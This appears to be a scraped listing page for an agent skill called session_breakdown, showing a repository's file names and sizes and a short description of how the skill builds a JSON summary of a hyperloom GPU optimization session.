bytestests/test_cli_bootstrap_coverage_unit.pyruns6,816 bytestests/test_cli_conc_sweep_default.pyruns6,820 bytestests/test_cli_executors_wiring.pyruns7,005 bytestests/test_cli_kb_unit.pyruns7,682 bytestests/test_cli_mn_backend.pyruns1,946 bytestests/test_cli_phase_toggles.pyruns2,220 bytestests/test_cli_plug_wiring.pyruns9,915 bytestests/test_cli_recipe_kb_dispatcher.pyruns3,682 bytestests/test_cli_resume_launch_shape.pyruns21,209 bytestests/test_cli_strict_parsing.pyruns4,012 bytestests/test_cli_workload_envs.pyruns14,695 bytestests/test_close_phase_sequencer.pyruns68,914 bytestests/test_close_stack_revalidation.pyruns7,306 bytestests/test_codex_intent_transport.pyruns15,355 bytestests/test_codex_prompt_transport.pyruns9,839 bytestests/test_coerce.pyruns8,713 bytestests/test_column_kb.pyruns27,117 bytestests/test_common_import_lint.pyruns2,946 bytestests/test_common_provenance.pyruns23,776 bytestests/test_common_utils.pyruns51,745 bytestests/test_conc_sweep.pyruns107,716 bytestests/test_conc_sweep_ceiling.pyruns7,809 bytestests/test_conc_sweep_session_deadline.pyruns21,929 bytestests/test_context_trajectory.pyruns6,389 bytestests/test_context_window_preflight.pyruns8,384 bytestests/test_coordinator_async_batch2_unit.pyruns154,742 bytestests/test_coordinator_async_methods_coverage_unit.pyruns66,277 bytestests/test_coordinator_gemm_promote_units.pyruns103,836 bytestests/test_coordinator_kb_writes.pyruns41,104 bytestests/test_coordinator_runtime.pyruns111,726 bytestests/test_coordinator_sync_helpers_coverage_unit.pyruns33,519 bytestests/test_coordinator_unit.pyruns6,812 bytestests/test_coverage_boost2_unit.pyruns3,779 bytestests/test_coverage_boost_unit.pyruns11,337 bytestests/test_coverage_gap_units.pyruns7,681 bytestests/test_coverage_margin3_unit.pyruns3,608 bytestests/test_coverage_margin_unit.pyruns1,192 bytestests/test_crash_safe_final_json.pyruns4,891 bytestests/test_critic_agent_backend.pyruns80,876 bytestests/test_critic_mock_patch_verdict.pyruns6,387 bytestests/test_critic_per_variant.pyruns9,769 bytestests/test_critic_renderer_unit.pyruns3,822 bytestests/test_critic_verdict_map.pyruns85,355 bytestests/test_custom_framework.pyruns31,636 bytestests/test_custom_specialist.pyruns44,154 bytestests/test_cycle_handoff.pyruns7,119 bytestests/test_dead_holder_failure_accounting.pyruns9,445 bytestests/test_deadlines.pyruns15,017 bytestests/test_decision_framework.pyruns7,722 bytestests/test_decision_token_rollup_unit.pyruns960 bytestests/test_declared_lever_grid.pyruns8,450 bytestests/test_deepseek_intent_transport.pyruns23,933 bytestests/test_deepseek_sdk_pin.pyruns2,058 bytestests/test_delegate_denial_loop.pyruns23,863 bytestests/test_derive_runtime_paths.pyruns12,779 bytestests/test_diffusion_latency_final_and_ceiling.pyruns4,031 bytestests/test_dispatched_task_policy.pyruns30,532 bytestests/test_dispatcher_execution_shutdown.pyruns35,720 bytestests/test_dispatcher_lane_priority.pyruns3,453 bytestests/test_dispatcher_pump_tick_heartbeat.pyruns3,054 bytestests/test_dotenv_precedence_recipes.pyruns28,732 bytestests/test_drop_scoreboard.pyruns9,006 bytestests/test_dual_protocol_endpoint_parity.pyruns2,385 bytestests/test_emit_intent_json_string_envelope_unit.pyruns3,827 bytestests/test_enablement_build_routing.pyruns35,982 bytestests/test_enablement_coordinator_wiring_unit.pyruns69,399 bytestests/test_enablement_keep_records.pyruns123,842 bytestests/test_enablement_recipe_steps.pyruns22,561 bytestests/test_enablement_relocation_completeness.pyruns9,345 bytestests/test_enablement_replay_sufficiency.pyruns96,374 bytestests/test_enablement_revalidation_anchor.pyruns10,791 bytestests/test_env_safety.pyruns18,819 bytestests/test_environment_fault_round.pyruns2,491 bytestests/test_eval_bounds_arm_symmetry.pyruns11,885 bytestests/test_eval_concurrency_preflight.pyruns1,993 bytestests/test_eval_context_feasibility.pyruns5,131 bytestests/test_eval_probe.pyruns27,578 bytestests/test_eval_result_dir_wiring.pyruns23,870 bytestests/test_eval_unbound_outputs_guard.pyruns6,608 bytestests/test_exit_code_stop_reason.pyruns1,057 bytestests/test_expected_failure_boundaries_unit.pyruns6,588 bytestests/test_experience_collect.pyruns26,629 bytestests/test_experience_kb_integration.pyruns25,661 bytestests/test_experience_kb_service.pyruns17,769 bytestests/test_explore_executor.pyruns196,158 bytestests/test_explore_grid_admission.pyruns9,626 bytestests/test_explore_grid_limits.pyruns5,177 bytestests/test_explore_projection.pyruns13,862 bytestests/test_explore_reuse.pyruns5,563 bytestests/test_explore_round_visibility.pyruns5,256 bytestests/test_explore_screen.pyruns16,802 bytestests/test_external_multi_node.pyruns44,710 bytestests/test_extrapolation_notes.pyruns2,506 bytestests/test_failure_evidence.pyruns8,467 bytestests/test_fmoe_ck_coverage.pyruns12,124 bytestests/test_forge_gemm_durable_persist.pyruns7,724 bytestests/test_fp8_per_token_injection.pyruns9,152 bytestests/test_framework_agent_authoring.pyruns36,981 bytestests/test_framework_agent_client_unit.pyruns629 bytestests/test_framework_agent_critic_gate.pyruns6,985 bytestests/test_framework_agent_discover_retry.pyruns7,543 bytestests/test_framework_agent_p0_terminal_rows.pyruns5,685 bytestests/test_framework_agent_reauthor.pyruns10,203 bytestests/test_framework_agent_selection_audit.pyruns25,802 bytestests/test_framework_budget_precedence.pyruns7,082 bytestests/test_framework_dispatch_failure_not_authored_empty.pyruns5,562 bytestests/test_framework_gap_composer.pyruns1,662 bytestests/test_framework_git_helpers.pyruns3,583 bytestests/test_framework_image_baseline.pyruns6,573 bytestests/test_framework_kb_models_units.pyruns3,066 bytestests/test_framework_local_explore.pyruns29,063 bytestests/test_framework_paths_units.pyruns37,181 bytestests/test_framework_rewrite_evidence.pyruns65,073 bytestests/test_framework_rewrite_specialist.pyruns18,757 bytestests/test_framework_state_save_errors.pyruns5,201 bytestests/test_framework_switch_manifest.pyruns54,568 bytestests/test_framework_whole_machine_gpu.pyruns18,863 bytestests/test_framework_working_memory.pyruns2,801 bytestests/test_gain_gated_counter.pyruns909 bytestests/test_gaps_field.pyruns19,383 bytestests/test_gateway_request_trajectory.pyruns11,322 bytestests/test_geak_acceptance_identity.pyruns5,245 bytestests/test_geak_adoption_ledger.pyruns13,298 bytestests/test_geak_axis_alignment.pyruns12,768 bytestests/test_geak_binaries.pyruns10,805 bytestests/test_geak_config.pyruns6,418 bytestests/test_geak_decline_status.pyruns1,976 bytestests/test_geak_gain_alignment.pyruns44,682 bytestests/test_geak_handoff_env.pyruns6,444 bytestests/test_geak_handoff_fidelity.pyruns2,855 bytestests/test_geak_handoff_gpu_free.pyruns6,142 bytestests/test_geak_handoff_gpu_identity.pyruns2,164 bytestests/test_geak_handoff_gpu_pin.pyruns24,671 bytestests/test_geak_handoff_identity.pyruns21,557 bytestests/test_geak_handoff_launch_server_script.pyruns7,956 bytestests/test_geak_handoff_rebench_budget.pyruns4,310 bytestests/test_geak_handoff_workload_contract.pyruns19,333 bytestests/test_geak_late_settlement.pyruns6,424 bytestests/test_geak_native_source_revalidation.pyruns13,940 bytestests/test_geak_observed_replay_shape.pyruns5,658 bytestests/test_geak_overlay_identity.pyruns4,854 bytestests/test_geak_overlay_load_gate.pyruns3,909 bytestests/test_geak_promotion_retention.pyruns21,830 bytestests/test_geak_resume_recovery.pyruns15,170 bytestests/test_geak_revalidation_dispatch.pyruns62,205 bytestests/test_geak_runner_graceful_stop_unit.pyruns9,795 bytestests/test_geak_runner_reaps_process_tree.pyruns4,872 bytestests/test_geak_sweep_units.pyruns21,120 bytestests/test_geak_workload_comparability.pyruns8,207 bytestests/test_gemm_bf16_aiter_routing.pyruns20,473 bytestests/test_gemm_result_json_writeback.pyruns5,532 bytestests/test_gemm_shape_alignment_handler.pyruns5,780 bytestests/test_gemm_shape_coverage.pyruns28,076 bytestests/test_gemm_tuning_trace_row.pyruns7,365 bytestests/test_git_foreign_checkout_callers.pyruns3,172 bytestests/test_git_foreign_checkout_tool_callers.pyruns1,934 bytestests/test_git_safe_directory.pyruns3,593 bytestests/test_gpu_board_decisions_pinned.pyruns4,139 bytestests/test_gpu_board_list_single_source.pyruns6,588 bytestests/test_gpu_metrics.pyruns11,510 bytestests/test_gpu_pool_device_resolution.pyruns7,849 bytestests/test_gpu_power_sampling.pyruns37,147 bytestests/test_gpu_power_settings.pyruns31,849 bytestests/test_gpu_probe_remote.pyruns8,201 bytestests/test_gpu_research_lane_dispatch.pyruns3,515 bytestests/test_gpu_type_radeon8060s.pyruns3,824 bytestests/test_graded_comparison.pyruns35,038 bytestests/test_grid_mn_reference_envs.pyruns1,577 bytestests/test_grid_moe_runner_backend_guard.pyruns3,902 bytestests/test_grid_runner.pyruns103,211 bytestests/test_grid_runner_behavior_lock.pyruns37,616 bytestests/test_grid_runner_helpers_coverage_unit.pyruns24,352 bytestests/test_grid_runner_kill_and_branches_unit.pyruns17,187 bytestests/test_grid_runner_runtime_override.pyruns10,063 bytestests/test_grid_size_prompt_unit.pyruns1,192 bytestests/test_grid_variant_filter.pyruns4,216 bytestests/test_honest_e2e_hardening_unit.pyruns8,047 bytestests/test_hyperloom_cli.pyruns4,126 bytestests/test_inferasim_backend.pyruns33,941 bytestests/test_inferencex_anchor_contract.pyruns9,531 bytestests/test_inferencex_checkout_guard.pyruns4,398 bytestests/test_inferencex_client_unit.pyruns15,296 bytestests/test_inferencex_patcher.pyruns53,449 bytestests/test_inferencex_preflight_clone.pyruns13,600 bytestests/test_install_baremetal_rocm_sdk_libpath.pyruns16,288 bytestests/test_install_baremetal_sglang_kernel.pyruns1,488 bytestests/test_install_baremetal_sglang_wheel_target.pyruns3,429 bytestests/test_install_baremetal_vllm_target.pyruns12,522 bytestests/test_install_env_credentials.pyruns6,971 bytestests/test_install_env_pythonpath.pyruns5,743 bytestests/test_install_geak_node.pyruns4,782 bytestests/test_install_geak_pip.pyruns10,703 bytestests/test_install_home_paths.pyruns13,111 bytestests/test_install_hosted_extra.pyruns8,666 bytestests/test_install_image_python_path.pyruns2,945 bytestests/test_install_kernel_tools_direct_run.pyruns732 bytestests/test_install_kernel_tools_env_precedence.pyruns1,477 bytestests/test_install_kernelforge_ready.pyruns5,390 bytestests/test_install_magpie_idempotent.pyruns5,266 bytestests/test_install_packaged_extras_resolution.pyruns5,921 bytestests/test_install_pinned_component_roots.pyruns6,993 bytestests/test_install_ray_version_resolution.pyruns13,131 bytestests/test_install_rocprof_compute.pyruns34,229 bytestests/test_install_scriptable_quality_deps_clobber.pyruns6,898 bytestests/test_install_session_paths.pyruns13,701 bytestests/test_install_torch_gpu_gate.pyruns3,371 bytestests/test_integrate_controller_preapplied_patch.pyruns9,598 bytestests/test_integrate_final_content_snapshot.pyruns7,624 bytestests/test_integrate_patch_launch_only.pyruns23,212 bytestests/test_integrate_payload_defaults.pyruns25,844 bytestests/test_intent_null_fields_are_unset.pyruns4,288 bytestests/test_intent_payload_validation.pyruns2,789 bytestests/test_isolated_vllm_pythonpath.pyruns3,363 bytestests/test_kb_unified_interface.pyruns1,131 bytestests/test_kernel_agent_task.pyruns26,618 bytestests/test_kernel_attempt_summary.pyruns9,780 bytestests/test_kernel_fmoe_ck_gate.pyruns4,514 bytestests/test_kernel_idle_no_progress.pyruns5,187 bytestests/test_kernel_idle_streak.pyruns10,899 bytestests/test_kernel_integrate_and_report.pyruns95,187 bytestests/test_kernel_node_ops.pyruns8,980 bytestests/test_kernel_patch_jit_transaction.pyruns15,712 bytestests/test_kernel_request_handlers_helpers.pyruns9,388 bytestests/test_kernel_request_handlers_units.pyruns184,132 bytestests/test_kill_spawned_server.pyruns66,687 bytestests/test_knowledge_plane.pyruns4,422 bytestests/test_knowledge_plane_phase1.pyruns3,943 bytestests/test_kv_metrics.pyruns14,643 bytestests/test_kv_metrics_wiring.pyruns59,048 bytestests/test_langfuse_emitter.pyruns73,127 bytestests/test_langfuse_emitter_helpers_coverage_unit.pyruns8,857 bytestests/test_latency_budget.pyruns17,736 bytestests/test_launch_infera_node.pyruns8,705 bytestests/test_launch_log_evidence.pyruns14,178 bytestests/test_launcher_optimizer_flags.pyruns5,147 bytestests/test_lifecycle_events.pyruns4,266 bytestests/test_lifecycle_wiring.pyruns20,046 bytestests/test_llm_attribution_coverage.pyruns4,686 bytestests/test_llm_config.pyruns67,150 bytestests/test_llm_request_trajectory.pyruns9,913 bytestests/test_llm_stability_and_subprocess_kill.pyruns8,438 bytestests/test_llm_trace_unit.pyruns7,402 bytestests/test_lm_eval_install_once.pyruns6,156 bytestests/test_local_kb_requirements.pyruns16,329 bytestests/test_local_recipe_store.pyruns21,142 bytestests/test_local_store.pyruns5,868 bytestests/test_longrun_phase0.pyruns12,263 bytestests/test_longrun_phase1.pyruns18,317 bytestests/test_longrun_phase2.pyruns9,064 bytestests/test_longrun_phase3.pyruns11,928 bytestests/test_longrun_refinements.pyruns4,881 bytestests/test_machine_state.pyruns9,377 bytestests/test_magpie_confined.pyruns5,129 bytestests/test_magpie_patcher.pyruns5,691 bytestests/test_magpie_patcher_unit.pyruns43,826 bytestests/test_manifest_unit.pyruns9,512 bytestests/test_manifest_units.pyruns6,744 bytestests/test_map_mlperf.pyruns6,049 bytestests/test_mcp_context_tools_unit.pyruns8,538 bytestests/test_mcp_tool_schemas_unit.pyruns1,430 bytestests/test_mlperf_framework_gate.pyruns4,623 bytestests/test_mock_backends.pyruns4,136 bytestests/test_model_arch_advisory.pyruns11,021 bytestests/test_model_class_inference.pyruns1,296 bytestests/test_model_config_compat_preflight.pyruns49,112 bytestests/test_model_config_summary.pyruns18,044 bytestests/test_model_config_tags.pyruns5,876 bytestests/test_model_path_resolver.pyruns4,908 bytestests/test_moe_runner_backend_injection.pyruns12,664 bytestests/test_multi_node_bootstrap_env.pyruns2,448 bytestests/test_multi_node_kept_patch_restore.pyruns9,084 bytestests/test_multi_node_lifecycle_failures.pyruns8,378 bytestests/test_multi_node_scripts.pyruns72,214 bytestests/test_multimodal_gate.pyruns22,068 bytestests/test_multinode_server_log_dir.pyruns3,344 bytestests/test_native_agentx_launch_evidence.pyruns6,092 bytestests/test_native_geak_environment.pyruns1,735 bytestests/test_objective.pyruns22,546 bytestests/test_objective_coverage_unit.pyruns2,033 bytestests/test_optimization_journal.pyruns16,998 bytestests/test_optimize_loop_walkthrough.pyruns6,643 bytestests/test_optimize_phase_exit.pyruns6,057 bytestests/test_optimize_stack_dump.pyruns2,937 bytestests/test_orchestration_banner.pyruns1,292 bytestests/test_orchestration_feedback_patha.pyruns18,620 bytestests/test_orchestration_memory.pyruns3,537 bytestests/test_orchestration_prune_branch_permission.pyruns4,526 bytestests/test_orphan_server_reaper.pyruns12,422 bytestests/test_packaging_lint.pyruns9,490 bytestests/test_param_search_renderer_units.pyruns2,491 bytestests/test_parse_usage_unit.pyruns18,557 bytestests/test_partition_shape.pyruns28,562 bytestests/test_patch_grounding_foreign_checkout.pyruns2,029 bytestests/test_patch_grounding_unreadable_repo.pyruns2,225 bytestests/test_patch_path_safety.pyruns2,180 bytestests/test_patch_source_pr.pyruns6,213 bytestests/test_per_domain_prompts.pyruns42,649 bytestests/test_phase_budget_pct_cli.pyruns12,025 bytestests/test_phase_cumulative_budget.pyruns9,322 bytestests/test_phase_state_machine.pyruns55,944 bytestests/test_phase_state_plateau.pyruns22,211 bytestests/test_phase_timeline_renderer.pyruns2,818 bytestests/test_policy_gate.pyruns8,897 bytestests/test_policy_helpers_coverage_unit.pyruns5,170 bytestests/test_policy_resource_rules.pyruns11,345 bytestests/test_power_budget.pyruns16,731 bytestests/test_pr_monitor.pyruns1,248 bytestests/test_predictor_client.pyruns4,570 bytestests/test_predictor_config_cli.pyruns3,117 bytestests/test_predictor_mandate.pyruns6,160 bytestests/test_predictor_payload.pyruns8,161 bytestests/test_predictor_pump.pyruns25,820 bytestests/test_preflight_agent_cli.pyruns1,300 bytestests/test_preflight_auth_override.pyruns117,622 bytestests/test_preflight_client_trust_compat.pyruns7,692 bytestests/test_preflight_gpu_visibility.pyruns3,080 bytestests/test_preflight_kernel_tuning_clis.pyruns1,087 bytestests/test_preflight_lm_eval_dep.pyruns10,269 bytestests/test_preflight_optimizer.pyruns5,879 bytestests/test_preflight_ray_overrides.pyruns6,129 bytestests/test_preflight_ray_version_floor.pyruns14,497 bytestests/test_preflight_resume_framework.pyruns10,784 bytestests/test_preflight_server_memory.pyruns9,919 bytestests/test_preflight_serving_framework.pyruns35,858 bytestests/test_prelude_roofline.pyruns44,328 bytestests/test_prelude_warm_kernel_kb.pyruns29,797 bytestests/test_profile_and_kernel_handlers.pyruns155,278 bytestests/test_profile_gpu_preflight.pyruns512 bytestests/test_profile_replay_config.pyruns1,281 bytestests/test_profile_startup_shim.pyruns2,645 bytestests/test_promote_shared_state_lock.pyruns108,562 bytestests/test_prompt_kernel_lane_ownership.pyruns6,132 bytestests/test_prompt_phase_scoping.pyruns28,451 bytestests/test_prompt_reference_index.pyruns7,084 bytestests/test_proposal_identity_unit.pyruns6,884 bytestests/test_proposal_scorer.pyruns20,677 bytestests/test_proposal_scorer_coverage_unit.pyruns8,913 bytestests/test_protocol_layer.pyruns12,086 bytestests/test_published_service_gate.pyruns12,048 bytestests/test_pump_decouple.pyruns8,817 bytestests/test_quantization_prelude.pyruns16,079 bytestests/test_quick_start_setup_env.pyruns2,194 bytestests/test_ray_backend_unit.pyruns81,639 bytestests/test_ray_connect_probe.pyruns18,793 bytestests/test_ray_dashboard.pyruns2,389 bytestests/test_ray_serving_process_cleanup.pyruns3,668 bytestests/test_recipe_kb_dispatcher.pyruns2,827 bytestests/test_recipe_kb_t0_anchor.pyruns29,871 bytestests/test_recipe_sedimentation.pyruns15,787 bytestests/test_record_trace_analyze_analysis_md.pyruns12,484 bytestests/test_record_trace_analyze_disk_recovery.pyruns7,890 bytestests/test_record_trace_analyze_lock.pyruns5,232 bytestests/test_recorder_warnings_unit.pyruns4,713 bytestests/test_reference_script.pyruns19,496 bytestests/test_regression_locks.pyruns17,120 bytestests/test_remote_recipe_v2.pyruns117,684 bytestests/test_report.pyruns26,124 bytestests/test_report_helpers_coverage_unit.pyruns2,178 bytestests/test_reporters_llm_client.pyruns7,665 bytestests/test_reporters_smoke.pyruns46,966 bytestests/test_required_step_gates.pyruns11,456 bytestests/test_research_hints_unit.pyruns20,806 bytestests/test_research_scout.pyruns5,864 bytestests/test_resource_lanes.pyruns34,094 bytestests/test_resume.pyruns35,729 bytestests/test_resume_budget_objective.pyruns3,923 bytestests/test_resume_guard.pyruns44,073 bytestests/test_resume_scope_gone.pyruns17,227 bytestests/test_revalidation_window_awaits_booking.pyruns7,858 bytestests/test_role_realignment.pyruns49,360 bytestests/test_roofline_ceiling_diffusion_units.pyruns12,081 bytestests/test_roofline_ceiling_env_units.pyruns3,641 bytestests/test_roofline_ceiling_perfmodel_units.pyruns41,979 bytestests/test_roofline_comparison_pipeline.pyruns39,528 bytestests/test_roofline_executor.pyruns62,247 bytestests/test_roofline_executor_rows.pyruns24,386 bytestests/test_roofline_executor_units.pyruns23,880 bytestests/test_roofline_moe_layer_split.pyruns9,740 bytestests/test_roofline_renderer_unit.pyruns3,529 bytestests/test_roofline_snapshot_unit.pyruns18,481 bytestests/test_run_optimize_exit_code_lock.pyruns5,452 bytestests/test_runner_framework_gate.pyruns2,720 bytestests/test_runtime_env_loader.pyruns16,878 bytestests/test_sbd_v6_baseline_timeline.pyruns40,182 bytestests/test_sbd_v6_close_recording.pyruns16,996 bytestests/test_sbd_v6_conc_sweep_timeline.pyruns36,789 bytestests/test_sbd_v6_conc_sweep_wiring.pyruns27,875 bytestests/test_sbd_v6_critic_recording.pyruns4,211 bytestests/test_sbd_v6_enablement_keep_window.pyruns10,699 bytestests/test_sbd_v6_enablement_timeline.pyruns42,236 bytestests/test_sbd_v6_enablement_wiring.pyruns31,885 bytestests/test_sbd_v6_ext_schema_contract.pyruns3,768 bytestests/test_sbd_v6_framework_timeline.pyruns24,014 bytestests/test_sbd_v6_framework_wiring.pyruns66,717 bytestests/test_sbd_v6_grading.pyruns16,949 bytestests/test_sbd_v6_initial.pyruns48,155 bytestests/test_sbd_v6_kernel_integrate_wiring.pyruns5,532 bytestests/test_sbd_v6_kernel_timeline.pyruns78,962 bytestests/test_sbd_v6_phase_timeline.pyruns21,872 bytestests/test_sbd_v6_phase_wiring.pyruns13,297 bytestests/test_sbd_v6_roofline_timeline.pyruns41,902 bytestests/test_sbd_v6_specialist_round_recording.pyruns8,443 bytestests/test_sbd_v6_stack_ledger.pyruns17,813 bytestests/test_sbd_v6_stack_wiring.pyruns18,794 bytestests/test_sbd_v6_stages.pyruns17,340 bytestests/test_sbd_v6_warm_replay_timeline.pyruns14,334 bytestests/test_sbd_v6_warm_start_recording.pyruns10,922 bytestests/test_scaffold_smoke.pyruns5,264 bytestests/test_scriptable_log_streaming.pyruns2,222 bytestests/test_scriptable_watchdog_gating.pyruns2,259 bytestests/test_server_args_dedupe.pyruns3,400 bytestests/test_server_args_safety.pyruns5,191 bytestests/test_server_argv_seal.pyruns19,728 bytestests/test_server_patcher_sglang_gc_patch.pyruns6,994 bytestests/test_server_patcher_sglang_release_branch.pyruns4,488 bytestests/test_server_patcher_sglang_version_fallback.pyruns4,481 bytestests/test_server_patcher_vllm_isolated_venv.pyruns3,706 bytestests/test_server_patcher_vllm_patch_gate.pyruns9,187 bytestests/test_server_patcher_vllm_version_fallback.pyruns3,109 bytestests/test_server_patcher_xdit_plan.pyruns4,097 bytestests/test_session_breakdown_executor_units.pyruns2,797 bytestests/test_session_dir_flag.pyruns6,561 bytestests/test_session_layout.pyruns21,840 bytestests/test_session_lock.pyruns8,556 bytestests/test_session_package.pyruns30,267 bytestests/test_session_paths_unit.pyruns5,087 bytestests/test_session_paths_workdir_units.pyruns1,802 bytestests/test_session_time_budget.pyruns75,567 bytestests/test_setup_cli.pyruns124,000 bytestests/test_setup_selected_python.pyruns9,519 bytestests/test_sglang_context_length_cap.pyruns17,738 bytestests/test_shared_state_evolution.pyruns15,674 bytestests/test_shared_state_kernel_opt.pyruns24,829 bytestests/test_shared_state_persistence.pyruns18,501 bytestests/test_shared_state_renderers.pyruns8,318 bytestests/test_shared_state_renderers_coverage_unit.pyruns1,088 bytestests/test_shared_state_units.pyruns40,745 bytestests/test_soft_deadline_from_ready.pyruns11,450 bytestests/test_source_resolution_reason_class.pyruns6,770 bytestests/test_spec_decode_context_copy.pyruns15,337 bytestests/test_specialist_auto_retry.pyruns8,302 bytestests/test_specialist_codex_backend.pyruns55,470 bytestests/test_specialist_concurrent_dispatch.pyruns14,280 bytestests/test_specialist_dispatch_params.pyruns34,944 bytestests/test_specialist_dsh_backend.pyruns18,752 bytestests/test_specialist_in_flight.pyruns9,706 bytestests/test_specialist_integration.pyruns12,030 bytestests/test_specialist_lessons_section.pyruns10,991 bytestests/test_specialist_lifecycle.pyruns22,043 bytestests/test_specialist_mcp_config.pyruns838 bytestests/test_specialist_patch_safety_unit.pyruns26,336 bytestests/test_specialist_prompt_builder_coverage_unit.pyruns8,615 bytestests/test_specialist_rebench_unit.pyruns5,781 bytestests/test_specialist_roofline_evidence.pyruns8,637 bytestests/test_specialist_runner_helpers_unit.pyruns22,197 bytestests/test_specialist_runtime_findings.pyruns3,239 bytestests/test_specialist_selfcheck.pyruns4,880 bytestests/test_specialist_subprocess.pyruns86,673 bytestests/test_specialist_subprocess_helpers.pyruns18,490 bytestests/test_specialist_subprocess_kill_unit.pyruns18,376 bytestests/test_specialist_vendor_backend_hint.pyruns4,138 bytestests/test_speculative_capability.pyruns10,771 bytestests/test_speculative_decoding_specialist.pyruns6,773 bytestests/test_sqlite_journal_mode.pyruns1,699 bytestests/test_ssh_client.pyruns5,143 bytestests/test_ssh_known_hosts.pyruns1,014 bytestests/test_startup_robustness.pyruns31,401 bytestests/test_static_recon.pyruns13,337 bytestests/test_stop_reason_outcomes.pyruns4,159 bytestests/test_storage_schema_units.pyruns3,021 bytestests/test_stream_json_request_trajectory.pyruns4,358 bytestests/test_sweep_phase_auto.pyruns97,418 bytestests/test_target_analysis_executor.pyruns22,576 bytestests/test_task_group_dispatch_accounting.pyruns9,220 bytestests/test_task_progress_heartbeat.pyruns25,817 bytestests/test_task_registry_history_bound.pyruns11,001 bytestests/test_tool_trajectory.pyruns5,957 bytestests/test_tool_version_provenance.pyruns5,171 bytestests/test_topology_file_handoff.pyruns22,060 bytestests/test_trace_utils.pyruns10,052 bytestests/test_tracelens_md.pyruns1,356 bytestests/test_tracelens_stream_idle_timeout.pyruns6,640 bytestests/test_trajectory_ledger.pyruns11,328 bytestests/test_trajectory_lifecycle.pyruns13,212 bytestests/test_trajectory_reviewer.pyruns6,650 bytestests/test_untested_proposal_queue_unit.pyruns8,743 bytestests/test_untried_hot_dedup.pyruns6,493 bytestests/test_variant_fingerprint.pyruns6,356 bytestests/test_verdict_advisory.pyruns1,984 bytestests/test_visible_devices.pyruns5,498 bytestests/test_vllm_image_source.pyruns9,632 bytestests/test_vllm_launch_record_sufficiency.pyruns11,589 bytestests/test_warm_replay.pyruns138,462 bytestests/test_warm_replay_accuracy_gate.pyruns12,710 bytestests/test_warm_replay_donor_gate.pyruns7,570 bytestests/test_warm_replay_seven_tuple_fallback.pyruns9,729 bytestests/test_watchdog_injection.pyruns6,925 bytestests/test_workflow_contract_session_budget.pyruns3,438 bytestests/test_workflow_evaluation_contract.pyruns21,522 bytestests/test_workload_envs.pyruns37,093 bytestests/test_workload_envs_branches_unit.pyruns21,143 bytestests/test_workload_envs_golden_lock.pyruns8,135 bytestests/test_workspace_default_adaptive.pyruns2,157 bytestests/test_writeback_baseline_fingerprint.pyruns3,590 bytestests/test_xdit_integration_units.pyruns27,398 bytestools/backfill_langfuse.pyruns16,299 bytestools/dump_session_breakdown.pyruns5,928 bytestools/dump_session_report.pyruns3,006 bytestools/event_counts.pyruns3,352 bytestools/preflight_optimizer.pyruns5,573 bytestools/read_optimizer_state.pyruns3,751 bytestrace/__init__.pyruns1,888 bytestrace/_row_utils.pyruns1,861 bytestrace/agent_trace.pyruns1,102 bytestrace/context_events.pyruns7,624 bytestrace/conversation_trace.pyruns3,053 bytestrace/decision_trace.pyruns12,714 bytestrace/langfuse_emitter.pyruns46,467 bytestrace/langfuse_mapping.pyruns13,481 bytestrace/llm_trace.pyruns8,520 bytestrace/orchestration_trace.pyruns1,784 bytestrace/parse_dsh_session.pyruns5,589 bytestrace/parse_usage.pyruns19,492 bytestrace/request_events.pyruns3,362 bytestrace/task_progress.pyruns3,860 bytestrace/tool_events.pyruns5,826 bytestrace/trace_env.pyruns1,861 bytestrace/trajectory_projection.pyruns4,541 bytestrace/trajectory_trace.pyruns17,004 bytestracelens_md.pyruns820 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsession_breakdown
When your agent uses it
Build a single self-contained `session_breakdown.json` capturing every fact a dashboard needs about one hyperloom optimization session. Use when the user mentions session-breakdown, kernel attribution, a stats/reporting service, capability summary, or wants to surface hyperloom data to an external consumer (a results/stats service, notebook, dashboard).
What it loads into context
Frontmatter
113 tokensAlways available to the agent
SKILL.md
2,724 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- What it produces
- Who reads it
- When to refresh (LLM Orchestrator decision tree)
- How to invoke
- Field reference (what comes from where)
- What is NOT in scope
- Failure modes
- Versioning policy
- Testing
Scripts executed separately
__init__.pycollectors/__init__.pycollectors/_common.pycollectors/langfuse.pycollectors/sessions.pycollectors/v6.pycollectors/v6_close.pycollectors/v6_critic.pycritic_reviews.pyexporter.pyrecorder/__init__.pyrecorder/assembler.pyrecorder/baseline_event.pyrecorder/close_out.pyrecorder/conc_sweep_event.pyrecorder/construct.pyrecorder/critic_out.pyrecorder/enablement_event.pyrecorder/enablement_keep_pairing.pyrecorder/event_fields.pyrecorder/event_finalize.pyrecorder/event_ids.pyrecorder/event_rows.pyrecorder/event_sink.pyrecorder/event_timeline.pyrecorder/framework_event.pyrecorder/instrument.pyrecorder/kernel_event.pyrecorder/kernel_gain.pyrecorder/kernel_records.pyrecorder/outcome_stage.pyrecorder/phase_event.pyrecorder/phase_records.pyrecorder/recorder.pyrecorder/recorder_warnings.pyrecorder/roofline_event.pyrecorder/sections.pyrecorder/session_metadata.pyrecorder/stack_event.pyrecorder/tool_versions.pyrecorder/trace.pyrecorder/warm_replay_event.pyrecorder/warm_start_event.pyreporters/__init__.pyreporters/_renderers/__init__.pyreporters/_renderers/_agentx_metrics.pyreporters/_renderers/_framework.pyreporters/_renderers/_invocation.pyreporters/_renderers/_kernels.pyreporters/_renderers/attribution.pyreporters/_renderers/baseline.pyreporters/_renderers/capability_summary.pyreporters/_renderers/critic.pyreporters/_renderers/enablement.pyreporters/_renderers/final.pyreporters/_renderers/kernel_lifecycle.pyreporters/_renderers/optimizations.pyreporters/_renderers/param_search.pyreporters/_renderers/phase_timeline.pyreporters/_renderers/roofline.pyreporters/_renderers/session.pyreporters/_renderers/workload.pyreporters/base.pyreporters/compose.pyreporters/cross_section.pyreporters/llm_client.pyreporters/llm_prompt.pyround_archive.pyschema.pyschema_framework.pyschema_kernel.pysession_facts.pysession_package.pystop_reasons.pyvariant_funnel.pyworkflow_contract.py
Files
